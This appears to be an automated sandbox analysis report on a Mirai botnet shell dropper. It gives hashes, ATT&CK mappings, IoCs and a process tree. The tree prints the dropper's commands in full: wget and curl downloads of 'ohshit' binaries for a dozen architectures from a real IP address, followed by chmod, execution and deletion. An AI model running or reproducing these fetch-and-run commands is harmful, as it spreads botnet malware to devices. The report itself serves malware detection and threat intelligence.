mirai | 35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a

Analysis

max time kernel
139s
max time network
146s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/06/2026, 12:49

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General

Target
35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
Size 4KB
Sample260628-p2cbaahs7x
SHA256 35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a
MD5 721bc0e9430b12514ab8a6b0e0ed1239
SHA1 402ac20258d661a8478c72a3cf0fefb035643e61
SHA512 4fe580b6aefc10007a5dc82ce42ba2b10b2283358d5db3cc8972cf3aee299f250d36db1bfb995b81184825b2eabef05c3899487c709cf07a8016e1d7a0357a00
SSDEEP 48:dxFlFxzfQxpNLxfsc9suh5QJx7zax1HPxVpRxZHAavHAqBXbeaSx9D48xXLkxFtT:thSTsc9suh2XsDJ378D2gYdESdXyG
TLSH
T116A1B4F5B421E174B85D9A7A30F861D1608BA8BB8D927D2474C93CE3204EF59B0C97B3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
845	chmod
893	chmod
905	chmod
911	chmod
758	chmod
764	chmod
770	chmod
776	chmod
839	chmod
853	chmod
867	chmod
879	chmod
747	chmod
784	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/ohshit.x86	748	35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ohshit.mpsl
File opened for modification	/dev/misc/watchdog	ohshit.mpsl

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	ohshit.mpsl
File opened for modification	/bin/watchdog	ohshit.mpsl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/126/status	ohshit.mpsl
File opened for reading	/proc/786/status	ohshit.mpsl
File opened for reading	/proc/367/cmdline	ohshit.mpsl
File opened for reading	/proc/690/cmdline	ohshit.mpsl
File opened for reading	/proc/8/status	ohshit.mpsl
File opened for reading	/proc/690/status	ohshit.mpsl
File opened for reading	/proc/730/status	ohshit.mpsl
File opened for reading	/proc/789/status	ohshit.mpsl
File opened for reading	/proc/790/status	ohshit.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/391/cmdline	ohshit.mpsl
File opened for reading	/proc/11/status	ohshit.mpsl
File opened for reading	/proc/24/status	ohshit.mpsl
File opened for reading	/proc/70/status	ohshit.mpsl
File opened for reading	/proc/74/status	ohshit.mpsl
File opened for reading	/proc/374/status	ohshit.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/4/status	ohshit.mpsl
File opened for reading	/proc/13/status	ohshit.mpsl
File opened for reading	/proc/15/status	ohshit.mpsl
File opened for reading	/proc/22/status	ohshit.mpsl
File opened for reading	/proc/673/cmdline	ohshit.mpsl
File opened for reading	/proc/9/status	ohshit.mpsl
File opened for reading	/proc/791/status	ohshit.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/151/cmdline	ohshit.mpsl
File opened for reading	/proc/392/cmdline	ohshit.mpsl
File opened for reading	/proc/69/status	ohshit.mpsl
File opened for reading	/proc/263/status	ohshit.mpsl
File opened for reading	/proc/343/status	ohshit.mpsl
File opened for reading	/proc/391/status	ohshit.mpsl
File opened for reading	/proc/365/cmdline	ohshit.mpsl
File opened for reading	/proc/691/cmdline	ohshit.mpsl
File opened for reading	/proc/1/status	ohshit.mpsl
File opened for reading	/proc/3/status	ohshit.mpsl
File opened for reading	/proc/19/status	ohshit.mpsl
File opened for reading	/proc/36/status	ohshit.mpsl
File opened for reading	/proc/37/status	ohshit.mpsl
File opened for reading	/proc/83/status	ohshit.mpsl
File opened for reading	/proc/12/status	ohshit.mpsl
File opened for reading	/proc/14/status	ohshit.mpsl
File opened for reading	/proc/21/status	ohshit.mpsl
File opened for reading	/proc/109/status	ohshit.mpsl
File opened for reading	/proc/121/status	ohshit.mpsl
File opened for reading	/proc/158/status	ohshit.mpsl
File opened for reading	/proc/244/status	ohshit.mpsl
File opened for reading	/proc/714/status	ohshit.mpsl
File opened for reading	/proc/444/cmdline	ohshit.mpsl
File opened for reading	/proc/715/cmdline	ohshit.mpsl
File opened for reading	/proc/2/status	ohshit.mpsl
File opened for reading	/proc/392/status	ohshit.mpsl
File opened for reading	/proc/725/status	ohshit.mpsl
File opened for reading	/proc/726/status	ohshit.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/343/cmdline	ohshit.mpsl
File opened for reading	/proc/73/status	ohshit.mpsl
File opened for reading	/proc/365/status	ohshit.mpsl
File opened for reading	/proc/720/status	ohshit.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
752	wget
755	curl
759	ohshit.mips
761	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ohshit.i686	wget
File opened for modification	/tmp/ohshit.arm5	curl
File opened for modification	/tmp/ohshit.arm6	wget
File opened for modification	/tmp/ohshit.arm6	curl
File opened for modification	/tmp/ohshit.ppc	curl
File opened for modification	/tmp/ohshit.arm	wget
File opened for modification	/tmp/ohshit.x86	wget
File opened for modification	/tmp/ohshit.x86	curl
File opened for modification	/tmp/ohshit.mips	curl
File opened for modification	/tmp/ohshit.arc	curl
File opened for modification	/tmp/ohshit.x86_64	wget
File opened for modification	/tmp/ohshit.x86_64	curl
File opened for modification	/tmp/ohshit.arm7	curl
File opened for modification	/tmp/ohshit.arc	wget
File opened for modification	/tmp/ohshit.mpsl	curl
File opened for modification	/tmp/ohshit.arm	curl
File opened for modification	/tmp/ohshit.arm5	wget
File opened for modification	/tmp/ohshit.ppc	wget
File opened for modification	/tmp/ohshit.spc	wget
File opened for modification	/tmp/ohshit.sh4	wget
File opened for modification	/tmp/ohshit.sh4	curl
File opened for modification	/tmp/ohshit.i686	curl
File opened for modification	/tmp/ohshit.mpsl	wget
File opened for modification	/tmp/ohshit.arm7	wget
File opened for modification	/tmp/ohshit.spc	curl
File opened for modification	/tmp/ohshit.m68k	wget
File opened for modification	/tmp/ohshit.m68k	curl
File opened for modification	/tmp/ohshit.mips	wget

/tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
/tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
1⤵
- Executes dropped EXE
PID:726
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
  2⤵
  - Writes file to tmp directory
  PID:728
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod +x ohshit.x86
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/ohshit.x86
  ./ohshit.x86 x26
  2⤵
  PID:748
- /bin/rm
  rm -f ohshit.x86
  2⤵
  PID:750
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod +x ohshit.mips
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/ohshit.mips
  ./ohshit.mips x26
  2⤵
  - System Network Configuration Discovery
  PID:759
- /bin/rm
  rm -f ohshit.mips
  2⤵
  - System Network Configuration Discovery
  PID:761
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
  2⤵
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x ohshit.arc
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/ohshit.arc
  ./ohshit.arc x26
  2⤵
  PID:765
- /bin/rm
  rm -f ohshit.arc
  2⤵
  PID:767
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
  2⤵
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod +x ohshit.i686
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/ohshit.i686
  ./ohshit.i686 x26
  2⤵
  PID:771
- /bin/rm
  rm -f ohshit.i686
  2⤵
  PID:773
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
  2⤵
  - Writes file to tmp directory
  PID:774
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod +x ohshit.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/ohshit.x86_64
  ./ohshit.x86_64 x26
  2⤵
  PID:777
- /bin/rm
  rm -f ohshit.x86_64
  2⤵
  PID:779
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
  2⤵
  - Writes file to tmp directory
  PID:780
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod +x ohshit.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/ohshit.mpsl
  ./ohshit.mpsl x26
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:786
- /bin/rm
  rm -f ohshit.mpsl
  2⤵
  PID:835
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
  2⤵
  - Writes file to tmp directory
  PID:837
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod +x ohshit.arm
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/ohshit.arm
  ./ohshit.arm x26
  2⤵
  PID:840
- /bin/rm
  rm -f ohshit.arm
  2⤵
  PID:842
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x ohshit.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/ohshit.arm5
  ./ohshit.arm5 x26
  2⤵
  PID:846
- /bin/rm
  rm -f ohshit.arm5
  2⤵
  PID:848
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
  2⤵
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
  2⤵
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod +x ohshit.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/ohshit.arm6
  ./ohshit.arm6 x26
  2⤵
  PID:855
- /bin/rm
  rm -f ohshit.arm6
  2⤵
  PID:858
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod +x ohshit.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/ohshit.arm7
  ./ohshit.arm7 x26
  2⤵
  PID:868
- /bin/rm
  rm -f ohshit.arm7
  2⤵
  PID:870
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/chmod
  chmod +x ohshit.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/ohshit.ppc
  ./ohshit.ppc x26
  2⤵
  PID:880
- /bin/rm
  rm -f ohshit.ppc
  2⤵
  PID:883
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
  2⤵
  - Writes file to tmp directory
  PID:885
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod +x ohshit.spc
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/ohshit.spc
  ./ohshit.spc x26
  2⤵
  PID:894
- /bin/rm
  rm -f ohshit.spc
  2⤵
  PID:896
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
  2⤵
  - Writes file to tmp directory
  PID:897
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
  2⤵
  - Writes file to tmp directory
  PID:902
- /bin/chmod
  chmod +x ohshit.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/ohshit.m68k
  ./ohshit.m68k x26
  2⤵
  PID:906
- /bin/rm
  rm -f ohshit.m68k
  2⤵
  PID:908
- /usr/bin/wget
  wget -q "--tries=3" "--timeout=10" -O ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
  2⤵
  - Writes file to tmp directory
  PID:909
- /usr/bin/curl
  curl -fsSL --connect-timeout 10 -o ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/chmod
  chmod +x ohshit.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/ohshit.sh4
  ./ohshit.sh4 x26
  2⤵
  PID:912
- /bin/rm
  rm -f ohshit.sh4
  2⤵
  PID:914
- /bin/rm
  rm -f /tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
  2⤵
  PID:915

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ohshit.x86

Path /tmp/ohshit.x86
Size 121KB
SHA256 3ad48bae18b7ea8e7ffe3608b6eeaa4673b6ff47e9e6a21def774eecba66364a
MD5 59b98f52977620c5e3356981226afc7a
SHA1 95940e97688109bec4bb27124828abff8272119a
SHA512 dbf44d491da3af06e5df39e1187f0ff7ed47560c4aea16eac0a1389ce45985f47a1dfccefc9741ebceaef51aeda9ddf9af76d92362dd7b76a87397bc444d7d06
SSDEEP 3072:P43/Qco2DWxDoB7SFM2L3GeCxDYKDen621IS:P4vDDWtoB7iNLQle/IS
TLSH
T111C329C6E347C0FAE81508F1216BB73299B7C13F542BDA93EB654D61BD529828036BDC
MD5 SHA1 SHA512 SSDEEP TLSH

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